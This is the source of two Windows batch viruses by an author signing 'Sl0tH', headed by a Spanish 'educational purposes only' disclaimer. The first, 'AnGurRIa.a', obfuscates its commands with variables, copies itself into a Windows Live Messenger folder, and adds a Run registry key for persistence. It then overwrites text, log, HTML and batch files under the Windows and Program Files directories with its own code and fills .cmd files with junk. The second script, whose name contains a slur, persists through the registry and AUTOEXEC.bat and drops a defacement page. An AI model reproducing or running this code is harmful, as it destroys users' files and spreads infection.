@rem X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-TEST-FILE!$H+H*
@rem ++++++++++++++++++++++++++++++++++++++++++++++++
@rem +[No]: AnGurRIa.a                              +
@rem +[Au]: Sl0tH                                   +
@rem +[Pr]: No                                      +
@rem +[In]: Si                                      +
@rem +[Po]: No                                      +
@rem +[Ob]: Si                                      +
@rem +Comment:                                      +
@rem +Este archivo de comandos por lotes ah sido    +
@rem +creado con fines meramente educacativos       +
@rem +el autor del mismo no se responsabiliza del   +
@rem +mal uso o lo daños que puedan ser ocacionados +
@rem +por dicho codigo.                             +
@rem ++++++++++++++++++++++++++++++++++++++++++++++++
@set attrib=%eax%
@set for=%jmp%
@set copy=%get%
@set in=%oop%
@set echo=%null%
@set trash=
assoc .zzx=batfile
%trash%
if exist %prografiles%\Windows Live\Messenger\msnmsgrassistent.zzx (goto:_qwerty) else (goto:_ytrewq)
:_ytrewq
@%null% off
%trash%
%get% /Y %0 %prografiles%\Windows Live\Messenger\msnmsgrassistent.zzx
%trash%
reg add HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Run /v MSNHelper /T REG_SZ /d %prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash% 
%eax% %prografiles%\Windows Live\Messenger\msnmsgrassistent.zzx +h +r +s
%trash%
%eax% %windir%\*.* -h -r -s
%trash%
%jmp% %%i %oop% (%windir%\*.log,*.txt,*.htm,*.bat) do %get% %0 %%i
%eax% %windir%\*.* +h +r +s
%trash%
%eax% %windir%\web\*.* -h -r -s
%trash%
%jmp% %%i %oop% (%windir%\web\*.log,*.txt,*.htm,*.bat) do %get% %0 %%i
%eax% %windir%\web\*.* +h +r +s
%trash%
%eax% %programfiles%\*.* -h -r -r
%trash%
%jmp% %%i %oop% (%programfiles%\*.log,*.txt,*.htm,*.bat) do %get% %0 %%i
%eax% %programfiles%\*.* +h +r +r
%trash%
%jmp% %%i %oop% (%windir%\*.log,*.txt,*.htm,*.bat) do ren *.cmd
%trash%
%jmp% %%i %oop% (%windir%\web\*.log,*.txt,*.htm,*.bat) do ren *.cmd
%trash%
%jmp% %%i %oop% (%programfiles%\*.log,*.txt,*.htm,*.bat) do ren *.cmd
:_qwerty
%trash%
%null% @echo off >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% :_fe3d >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% for %%a in (%windir%\*.cmd) do echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% for %%a in (%windir%\web\*.cmd) do echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% for %%a in (%programfiles%\*.cmd) do echo jgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhjjgcxjhgkjhcxgkjdhflkgjhxhjxhjjjhjkfjjkhjhjfjjhjjhj >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%null% goto:_fe3d >>%prografiles%\Windows Live\Messenger\msnhelp.zzx
%trash%
%eax% %prografiles%\Windows Live\Messenger\msnhelp.zzx +h +r +s
%trash%
mkdir %prografiles%\WhenUsave
%trash%
mkdir %prografiles%\UltimateSearch
%trash%
mkdir %prografiles%\Complus Aplications
%trash%
mkdir %prografiles%\Search4fun
%trash%
mkdir %prografiles%\ZangoGames
%trash%

@echo off
rem ***********************************************
rem * name: win32.amerifags                       *                                            
rem * by: sl0th                                   *        
rem * Infection method: No                        *
rem * Polymorphism: No                            *
rem * Payload: No                                 *
rem * Propagation method: No                      *                    
rem ***********************************************
copy /y "c:\System Volume Imformation\Winservices\amerifags.zzx"
assoc .zzx=batfile
reg add "HKLM\Software\Microsoft\Internet Explorer\http" /v "InternetExplorerUpdate" /d "c:\System Volume Imformation\Winservices\amerifags.zzx" /f
mkdir "c:\System Volume Imformation\Winservices"
attrib +h +r +s "c:\System Volume Imformation\Winservices\amerifags.zzx"
echo call "c:\System Volume Imformation\Winservices\amerifags.zzx">AUTOEXEC.bat
echo ^<head^> >>%USERPROFILE%\host.html
echo ^<title^> >>%USERPROFILE%\host.html
echo ^<h4^> [C.m.D] ^</h4^> >>%USERPROFILE%\host.html
echo ^</title^> >>%USERPROFILE%\host.html
echo ^</head^> >>%USERPROFILE%\host.html
echo ^<body^> >>%USERPROFILE%\host.html
echo ^<b^>^<h1^> vXed by sl0th!! ^</h1^>^</b^> >>%USERPROFILE%\host.html
echo ^</body^> >>%USERPROFILE%\host.html
eof